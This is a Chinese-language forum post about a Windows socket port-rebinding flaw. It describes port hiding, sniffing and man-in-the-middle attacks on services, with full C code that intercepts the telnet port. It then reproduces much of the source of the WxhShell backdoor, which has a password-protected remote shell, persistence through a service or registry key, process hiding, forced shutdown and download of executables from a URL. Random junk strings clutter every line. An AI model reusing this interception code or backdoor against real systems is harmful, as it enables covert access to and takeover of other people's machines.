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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Vwp fkD`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /@5X0m  
kfo, PrW`A  
  saddr.sin_family = AF_INET; VJMn5v[V  
~n#rATbxf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r >:7)p!|  
)o'&f"/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dZ&/Iz  
odPq<'V|AY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [-cYFdt"V  
+*3\ C!  
  这意味着什么?意味着可以进行如下的攻击: BzL>,um  
Qo{Ez^q@J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Oslbt8)U6  
oB:tio4DE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {~a=aOS  
Akf?BB3bC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 " 1YARGu  
tL1"Dt>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u>j:8lhtV  
x68$?CD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sm-RpZ&|  
)p7WU?&I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $ u`y  
zq g4@" p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w%Tcx^:  
lH/d#MT   
  #include Kw}-<y  
  #include 4,kT4_&,  
  #include 08&DP^NS  
  #include    N^A&DrMF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /#M|)V*wn  
  int main() *P&ZE   
  {  Hq h  
  WORD wVersionRequested; *p{wC r  
  DWORD ret; 8Letpygm  
  WSADATA wsaData; WRQJ6B  
  BOOL val; XM$r,}B k  
  SOCKADDR_IN saddr; hf rF7{yj  
  SOCKADDR_IN scaddr; DQ^yqBVgQ  
  int err; zFh JLH*C  
  SOCKET s; &Ib8xwb:  
  SOCKET sc; 7vRJQe)  
  int caddsize; EUj'%;s z-  
  HANDLE mt; s{#ZRmc2B  
  DWORD tid;   !']=7It{  
  wVersionRequested = MAKEWORD( 2, 2 ); b(dIl)Y4 :  
  err = WSAStartup( wVersionRequested, &wsaData ); 3Xaw  
  if ( err != 0 ) { q bb:)>  
  printf("error!WSAStartup failed!\n"); QD%~ A0  
  return -1; mmm025.   
  } Fn*clx<  
  saddr.sin_family = AF_INET; pb_+_(/c  
   /u{ 9UR[g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P]-d (N}/H  
Q@hx +aM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); DYJ@>8  
  saddr.sin_port = htons(23); t0p^0   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .asHFT7]9  
  { $;Lb|~  
  printf("error!socket failed!\n"); 9:CJl6~N)#  
  return -1; ma>{((N  
  } Ia$&SS)K  
  val = TRUE; /o#!9H   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Se qnO.\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O`U&0lKi'  
  { >l{<p(  
  printf("error!setsockopt failed!\n"); a(s}Ec${Z  
  return -1; _|rrl  
  } ]kx)/n-K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 72@raA#y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l~Je ]Qt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  FqAW><  
d9h"Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -8; ,#  
  { 1tU}}l  
  ret=GetLastError(); *_}|EuY  
  printf("error!bind failed!\n"); 8;/`uB:zV  
  return -1; 6T0E'kv S  
  } 7$'%*|C.  
  listen(s,2); [TvH7ott'1  
  while(1) n!~mdI&  
  { Q[`J=  
  caddsize = sizeof(scaddr); \](IBI:  
  //接受连接请求 O{rgx~lLJt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [R-4e; SRh  
  if(sc!=INVALID_SOCKET) kVE% "  
  { ww82)m8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t=J\zyX!  
  if(mt==NULL) 2KMLpO&De  
  { u{xjFx-  
  printf("Thread Creat Failed!\n"); m{Jo'*%8f  
  break; ~,KAJ7O_  
  } Au &NQ+  
  }  `W< 7.  
  CloseHandle(mt); GJW+'-f  
  } 9qkH~B7  
  closesocket(s); R4GmUCKB=  
  WSACleanup(); 2j8^Z  
  return 0; 5OP$n]|(  
  }   gBz$RfyF  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ac!,#Fq  
  { )[Bwr bn  
  SOCKET ss = (SOCKET)lpParam; rMAH YH9  
  SOCKET sc; >HO{gaRM  
  unsigned char buf[4096]; Y ::\;s  
  SOCKADDR_IN saddr; XbdoTriE  
  long num; Vd^_4uqnV  
  DWORD val; b}4k-hZL  
  DWORD ret;  Hi#'h  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cy8+@77  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ysD @yM,  
  saddr.sin_family = AF_INET; NKB,D$!~&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Vc|r(lM  
  saddr.sin_port = htons(23); \)859x&(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n-[J+DdB  
  {  uZ][#[u  
  printf("error!socket failed!\n"); }yCJ#}  
  return -1; +hL+3`TD#H  
  } Z\6&5r=  
  val = 100; qG3 [5lti  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [b-27\b  
  { 2MwR jh_  
  ret = GetLastError(); B MU@J  
  return -1; 0:UK)t)3I  
  } cn#JO^8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'bp*hqG[  
  { xxOo8+kA  
  ret = GetLastError(); `"QUA G  
  return -1; g{w IdV  
  } (v(!l=3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2f(5C*~  
  { *m:h0[[J  
  printf("error!socket connect failed!\n"); ""l_& 3oz  
  closesocket(sc); d (]t}  
  closesocket(ss); R< @o]p  
  return -1; 6J0HaL  
  } %\PnsnJ9Q  
  while(1) qp (ng 8%c  
  { \7z&iGe!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ai\"w0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g/,fjM_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [tDUR  
  num = recv(ss,buf,4096,0); ?z0f5<dL  
  if(num>0) 7cin?Z1  
  send(sc,buf,num,0); 1L1_x'tT%  
  else if(num==0) :gv`)  
  break; ?6.vd]oNO  
  num = recv(sc,buf,4096,0); ' 8`{u[:  
  if(num>0) n's3!HQY[  
  send(ss,buf,num,0); R_ J=x  
  else if(num==0) O @fX +W?U  
  break; ,GEMc a,`  
  } Ti`<,TA54  
  closesocket(ss); 3N6U6.Tqb  
  closesocket(sc); 7?j$Lwt  
  return 0 ; ;hR!j!3}  
  } e'aKI]>a  
:0>wm@qCQ  
v<bq1QG  
========================================================== `HU`=a&d  
0 z{S@  
下边附上一个代码,,WXhSHELL +aRjJ/*  
UN_f2  
========================================================== P;0tI;  
c.jq?Q k  
#include "stdafx.h" 8}h ^Frh  
?^P#P0  
#include <stdio.h> Yf Udpa0  
#include <string.h> m! &bK5+*  
#include <windows.h> K v"e\ E  
#include <winsock2.h> b1{~j]"$L  
#include <winsvc.h> +(3"XYh  
#include <urlmon.h> ; iQ@wOL]  
{LTb-CB  
#pragma comment (lib, "Ws2_32.lib") Qfo'w%px  
#pragma comment (lib, "urlmon.lib") H4 Y7p  
:Bp{yUgi@  
#define MAX_USER   100 // 最大客户端连接数 M`\c'|i/  
#define BUF_SOCK   200 // sock buffer d$)'?Sf]h  
#define KEY_BUFF   255 // 输入 buffer [^ck;4q  
Malt 7M  
#define REBOOT     0   // 重启 p%Ae"#_X%  
#define SHUTDOWN   1   // 关机 EAo7(d@  
xjOy3_Js  
#define DEF_PORT   5000 // 监听端口 [bkMl+:/HG  
AC3K*)`E  
#define REG_LEN     16   // 注册表键长度 I=&5mg=m  
#define SVC_LEN     80   // NT服务名长度 kbBD+*  
7|PpAvMF  
// 从dll定义API 6HpSZa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q:#,b0|bv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V`~$| K[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |GE3.g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !Jb?r SJ.h  
Vi`+2%4  
// wxhshell配置信息 DU$]e1  
struct WSCFG { Q6Q>b4 .3  
  int ws_port;         // 监听端口 _6THyj$f  
  char ws_passstr[REG_LEN]; // 口令 C.@R#a'  
  int ws_autoins;       // 安装标记, 1=yes 0=no X obiF  
  char ws_regname[REG_LEN]; // 注册表键名 O]w&uim  
  char ws_svcname[REG_LEN]; // 服务名 liFNJd`|o+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hbR;zV|US  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 = sedkrM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MUz.-YRt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R+lKQAyC0=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Svn|vH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K"eR 6_ k  
^R1 nOo/  
}; <;#d*&]  
bj(U?$  
// default Wxhshell configuration JXBW0|8b  
struct WSCFG wscfg={DEF_PORT, &bh?jW  
    "xuhuanlingzhe", JO5~Vj_"  
    1, gd.P%KC!g  
    "Wxhshell", @z$V(}(O^  
    "Wxhshell", ) !3XM  
            "WxhShell Service", Cst\_j  
    "Wrsky Windows CmdShell Service", 1W8[ RET  
    "Please Input Your Password: ", ^Ot+,l)  
  1, 7u,56V?X  
  "http://www.wrsky.com/wxhshell.exe", 3nd02:GF  
  "Wxhshell.exe" {#uX   
    }; TuwH?{ FzK  
o; 6\  
// 消息定义模块 Po&gr@e.V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $J[h(>-X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FOB9CsMe  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1>b kVA  
char *msg_ws_ext="\n\rExit."; W>dS@;E  
char *msg_ws_end="\n\rQuit."; 4a>z]&s  
char *msg_ws_boot="\n\rReboot..."; !OPK?7   
char *msg_ws_poff="\n\rShutdown..."; y&lj+j  
char *msg_ws_down="\n\rSave to "; ")ow,r^"  
)<DL'  
char *msg_ws_err="\n\rErr!"; J[L$8y:  
char *msg_ws_ok="\n\rOK!"; Mb3,!  
8l>/ZZ.NXi  
char ExeFile[MAX_PATH]; >2Al+m<w  
int nUser = 0; $k@reN9  
HANDLE handles[MAX_USER]; zi2hi9A  
int OsIsNt; eN>=x40  
N-3w)23*:  
SERVICE_STATUS       serviceStatus; 3RscuD&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Mz40([{  
V5K`TC^  
// 函数声明 =4 &9!Z  
int Install(void); .pu]21m=  
int Uninstall(void); M=26@ n  
int DownloadFile(char *sURL, SOCKET wsh); Da_g3z  
int Boot(int flag); ~c! XQJ  
void HideProc(void); \M=" R-&b  
int GetOsVer(void); ff-9NvW4v  
int Wxhshell(SOCKET wsl); Rla1,{1  
void TalkWithClient(void *cs); nXb;&n%  
int CmdShell(SOCKET sock); t=iy40_T  
int StartFromService(void); .cQwj L  
int StartWxhshell(LPSTR lpCmdLine); kxWf1hIz0  
%l,p />r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O9=vz%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VZb0x)w  
*7nlel  
// 数据结构和表定义 3tS~/o+]  
SERVICE_TABLE_ENTRY DispatchTable[] = mcb0%  
{ >\^:xx Tf  
{wscfg.ws_svcname, NTServiceMain}, P et0yH  
{NULL, NULL} PS`v3|d}}}  
}; (Pin9^`ALc  
"%<Oadz ap  
// 自我安装 6~&4>2b0f  
int Install(void) `WC~cb\  
{ 6 jRF[N8  
  char svExeFile[MAX_PATH]; xO'1|b^&  
  HKEY key; A 99 .b  
  strcpy(svExeFile,ExeFile); P`Anf_  
x76<u:  
// 如果是win9x系统,修改注册表设为自启动 JDD(e_dw  
if(!OsIsNt) { Z99%uI3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #`<|W5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )<1M'2  
  RegCloseKey(key); K S,X$)9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y=x]'3}^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }Wn6r_:  
  RegCloseKey(key); 'S)}mG_  
  return 0; kJlRdt2  
    } ka[]pY  
  } :?U1^!$$1  
} @;G}bYq^(I  
else { y_Bmd   
@Ej{sC!0T  
// 如果是NT以上系统,安装为系统服务 Cc]t*;nU_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 55zimv&DV  
if (schSCManager!=0) 7 H.2]X  
{ S)n ~^q  
  SC_HANDLE schService = CreateService elJLTG  
  ( )C<c{mjk(  
  schSCManager, yg5Ik{  
  wscfg.ws_svcname, Xi6XV3G  
  wscfg.ws_svcdisp, |bO}|X  
  SERVICE_ALL_ACCESS, S$=])^dur  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0V}%'Ec<e  
  SERVICE_AUTO_START, =eDVgOZ)  
  SERVICE_ERROR_NORMAL, /V2Ih  
  svExeFile, mG1=8{o^  
  NULL, bEMD2ABm  
  NULL, mPi4.p)  
  NULL, 0%cbno@1V  
  NULL, V'mQ {[{R  
  NULL C^2Tql  
  ); \.POb5]p0  
  if (schService!=0) /U`"Xx  
  { y7u"a)T  
  CloseServiceHandle(schService); Oq|RMl  
  CloseServiceHandle(schSCManager); }<[@)g.h.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (caxl^=  
  strcat(svExeFile,wscfg.ws_svcname); Pn[-{nz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X) owj7U;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0%<Fc9#  
  RegCloseKey(key); "S,,BjL  
  return 0; cE$<6&0  
    } kbN2dL  
  } & VJ+X|Z  
  CloseServiceHandle(schSCManager); P bj&l0C  
} ,j:`yB]4,  
} Ovq-rI{  
f1rP+l-C<  
return 1; 9G[!"eZ}  
} $>hPB[[  
7.,C'^ci  
// 自我卸载 N<zD<q  
int Uninstall(void) |e!%6Qq3  
{ }u5/  
  HKEY key; 2`9e20  
AU -,  
if(!OsIsNt) { C*a>B,H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e4fh<0gX  
  RegDeleteValue(key,wscfg.ws_regname); _ho9}7 >  
  RegCloseKey(key); l ~b# Y&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !i,Eo-[Z  
  RegDeleteValue(key,wscfg.ws_regname); 4@AY~"dq  
  RegCloseKey(key); r5M {*  
  return 0; ?1T)cd*  
  } f~%|Iu1ob  
} _ I"}3*  
} <j,ZAA&5%Y  
else { ++w7jVi9  
[3lAKI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 97l<9^$  
if (schSCManager!=0) RL4J{4K  
{ uH="l.u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L1ro\H  
  if (schService!=0) 6hp>w{+  
  { s;e%*4  
  if(DeleteService(schService)!=0) { [U'I3x,  
  CloseServiceHandle(schService); PvF3a `&r  
  CloseServiceHandle(schSCManager); 0`UI^Y~Q  
  return 0; )-VpDW!%_  
  }  PgI H(  
  CloseServiceHandle(schService); sB`.G  
  } 2>TOC BB"  
  CloseServiceHandle(schSCManager); O/Cwm;&t  
} 0"}qND  
} AK$&'t+$}7  
!-rG1VI_S*  
return 1; WN#S%G:Q)  
} Cq8.^=}_  
D8X~qt/  
// 从指定url下载文件 lldNIL6B%  
int DownloadFile(char *sURL, SOCKET wsh) )hG4,0hv&  
{ W%@r   
  HRESULT hr; o-I:p$B-  
char seps[]= "/"; Q~k5 }n8  
char *token; =T!eyGE  
char *file; *!oV?N[eA'  
char myURL[MAX_PATH]; C(CwsdlP  
char myFILE[MAX_PATH]; Op()`x m  
hZ_@U?^  
strcpy(myURL,sURL); MHj RPh  
  token=strtok(myURL,seps); mqj]=Fq*  
  while(token!=NULL) /_SQKpic  
  { ^?J3nf{  
    file=token; "hi d3"G  
  token=strtok(NULL,seps); S^s|/!>  
  } %(&$CmS@  
hKnAWKb0  
GetCurrentDirectory(MAX_PATH,myFILE); +>3jMs~&  
strcat(myFILE, "\\"); fHK.q({Qc  
strcat(myFILE, file); gFpub_  
  send(wsh,myFILE,strlen(myFILE),0); ff&jR71E  
send(wsh,"...",3,0); {x{~%)-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mF:Pplf<  
  if(hr==S_OK) mUj_V#v  
return 0; Vx z`  
else 4mjlat(d  
return 1; @AtJO>w  
]!q>@b  
} "%}24t%  
D%}rQ,*  
// 系统电源模块 =kTHfdin&  
int Boot(int flag) H-rxn  
{ a[Nm< qV05  
  HANDLE hToken; GQ(*k)'a  
  TOKEN_PRIVILEGES tkp; Vy=P*  
b)eoFc)lc  
  if(OsIsNt) { nW)?cQ I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "1$X5?%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EHy15RL  
    tkp.PrivilegeCount = 1; u*f`\vs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a,36FF~&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :w q][0)  
if(flag==REBOOT) { wBDHhXi0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~&?57Sw*m  
  return 0; !2Gua1z!CJ  
} IL go:xQ  
else { 0W0GSDx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cLEd -{x  
  return 0; 4E2#krE%  
} Atb`Q'Yrw  
  } IQ$!y,VJ  
  else { ic5af"/(\  
if(flag==REBOOT) { #W6 6`{>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tnAj3wc  
  return 0; tm/=Oc1p  
} \=D+7'3  
else { =;+gge!?bB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^KdT,^6T  
  return 0; EnGh&]  
} [O<F`u"a  
} )!kt9lK  
X~UL$S;  
return 1; 2 431v@  
} 1d~d1Rd  
#8sy QWlG  
// win9x进程隐藏模块 :2H]DDg(  
void HideProc(void) JNY?] |=  
{ `+T 2IPN  
yUWc8]9\W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TE;f*!  
  if ( hKernel != NULL ) ia3Q1 9r  
  { r&Nh>6<&/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ux1j+}y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q_6lD~~q^  
    FreeLibrary(hKernel); 2<9K}Of  
  } w,X)g{^T  
F53 .g/[  
return; gm pY[  
} I{0cnq/  
tvf5b8(Y-  
// 获取操作系统版本 FAL#p$y}  
int GetOsVer(void) h<)ceD<,  
{ 4i.&geX A.  
  OSVERSIONINFO winfo; n_4.`vs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :!l.ze{F  
  GetVersionEx(&winfo); f[D%(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qy"%%keV'T  
  return 1; :-#7j} R&  
  else y\j[\UZKO  
  return 0; c7{s'ifG  
} Q|P M6ta  
W!T[ ^+  
// 客户端句柄模块  H{yBD xw  
int Wxhshell(SOCKET wsl) FX9WX b4w  
{ yUf`L=C:  
  SOCKET wsh; p#Po?  
  struct sockaddr_in client; Q=d:Yz":S  
  DWORD myID; &>+5 8  
`),U+  
  while(nUser<MAX_USER) 5FuV=Yuc  
{ I L7kpH+y  
  int nSize=sizeof(client); jl}!UG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Xs|d#WbX  
  if(wsh==INVALID_SOCKET) return 1; L~e0^X?  
n7B2rRJH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gh.?6kuh  
if(handles[nUser]==0) AcEz$wy  
  closesocket(wsh); X^dasU{*  
else 0sA`})Dk  
  nUser++; O-ENFA~E;v  
  } @YRy)+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3QKBuo  
a * CXg.i  
  return 0; /2E Q:P  
} -O,:~a=*_  
olr#3te  
// 关闭 socket N.+A-[7,W  
void CloseIt(SOCKET wsh) x^_c4,i)  
{ a!4p$pR  
closesocket(wsh); >Ik%_:CC`  
nUser--; _-H,S)kI`  
ExitThread(0); Vt \g9-[  
} =jh^mD&'  
TD*AFR3Oz  
// 客户端请求句柄 \2[tM/+Bs  
void TalkWithClient(void *cs) -dF (_ %C  
{ ^i8biOSZu  
rN7JJHV  
  SOCKET wsh=(SOCKET)cs; -K$ugDi  
  char pwd[SVC_LEN]; pg!oi?Jn  
  char cmd[KEY_BUFF]; ~|, "w90  
char chr[1]; 6AdUlPM  
int i,j; x5xMr.vm  
}@jJv||  
  while (nUser < MAX_USER) { qhG2j;  
ReD]M@;  
if(wscfg.ws_passstr) { "[k>pzl6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yMM2us#*+q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b@=H$"  
  //ZeroMemory(pwd,KEY_BUFF); ]8OmYU%6V  
      i=0; h+!R)q8M  
  while(i<SVC_LEN) { wj0_X;L  
LjEMs\P\  
  // 设置超时 +:jv )4^O  
  fd_set FdRead; 6C"zBJcGc  
  struct timeval TimeOut; gBWr)R  
  FD_ZERO(&FdRead); c;]^aaQ+>  
  FD_SET(wsh,&FdRead); >ySO.S  
  TimeOut.tv_sec=8; 7JuHa /Mv  
  TimeOut.tv_usec=0; kREFh4QO,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \(=xc2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G\5Bdo1g  
of7p~{3H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6&6dd_K(  
  pwd=chr[0]; {|OXiRm'  
  if(chr[0]==0xd || chr[0]==0xa) { 7!(/7U6rP  
  pwd=0; )mI>2<Z!  
  break; Wi5Dl=  
  } Isvb;VT9L  
  i++; pbqk  
    } 'byTM?Sp{  
(RrC<5"  
  // 如果是非法用户,关闭 socket o(> #}[N}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z  eY *5m  
} 1#;^ Z3  
?G7*^y&Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p/u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ek/zQM@%  
lb*;Z7fx<'  
while(1) { P_mP ^L  
`-cw[@uD  
  ZeroMemory(cmd,KEY_BUFF); x[)]u8^A  
3}3b@:<  
      // 自动支持客户端 telnet标准   Uc ,..  
  j=0; a{}#t}  
  while(j<KEY_BUFF) { ps8tr:T^=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'r_Fi5[q  
  cmd[j]=chr[0]; 7@e}rh?N-|  
  if(chr[0]==0xa || chr[0]==0xd) { ;o;ak.dTt  
  cmd[j]=0; qe?Ns+j<d  
  break; g2^{+,/^K  
  } v@2@9/  
  j++; %qE"A6j  
    } FL^t} vA  
VK,{Mu=.9  
  // 下载文件 r~7}w4U  
  if(strstr(cmd,"http://")) { m :~y:.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .X)Wb{7  
  if(DownloadFile(cmd,wsh)) Ay^P #\VZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MT)q?NcG  
  else I1s= =  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qi=0[  
  } (Rq6m`M2  
  else { |%#NA!e4wA  
U7g,@/Qx  
    switch(cmd[0]) { &w`Ho)P  
  (Uu5$q(  
  // 帮助 .V}bfd[k$  
  case '?': { =;Co0Q`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XhWo~zh"  
    break; u#y)+A2&!  
  } T*C F5S  
  // 安装 Z!fbc#L6  
  case 'i': { ypemp=+(r  
    if(Install()) -`z%<)!Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *wd=&Z^19  
    else L *|P'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }.WO=IZ  
    break; Uugq.'>  
    } R^$EnrY(<  
  // 卸载 =b1 y*?  
  case 'r': { nUX3a'R  
    if(Uninstall()) |yp^T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Spa F)N8  
    else D^p)`*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *> Be w  
    break; PQYJn x}  
    } h#)\K| qs  
  // 显示 wxhshell 所在路径 B`3z(a92S  
  case 'p': { M0)0~#?.D  
    char svExeFile[MAX_PATH]; c(b`eUOO  
    strcpy(svExeFile,"\n\r"); r~oUln<[  
      strcat(svExeFile,ExeFile); -ULgVGYKK  
        send(wsh,svExeFile,strlen(svExeFile),0); 3fZoF`<a  
    break; S5Pn6'w  
    } y@2"[fo3~  
  // 重启 %1{O  
  case 'b': { ''!j:49  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q@VIFmqY!  
    if(Boot(REBOOT)) nox-)e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); saQo]6#  
    else { &t_TLV 8T  
    closesocket(wsh); e}7!A  
    ExitThread(0); =;) =,+V~q  
    } Buq(L6P9r  
    break; EKN<KnU%  
    } ]-a/)8  
  // 关机 G-]<+-Q$4  
  case 'd': { OR' e!{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "WXUz  
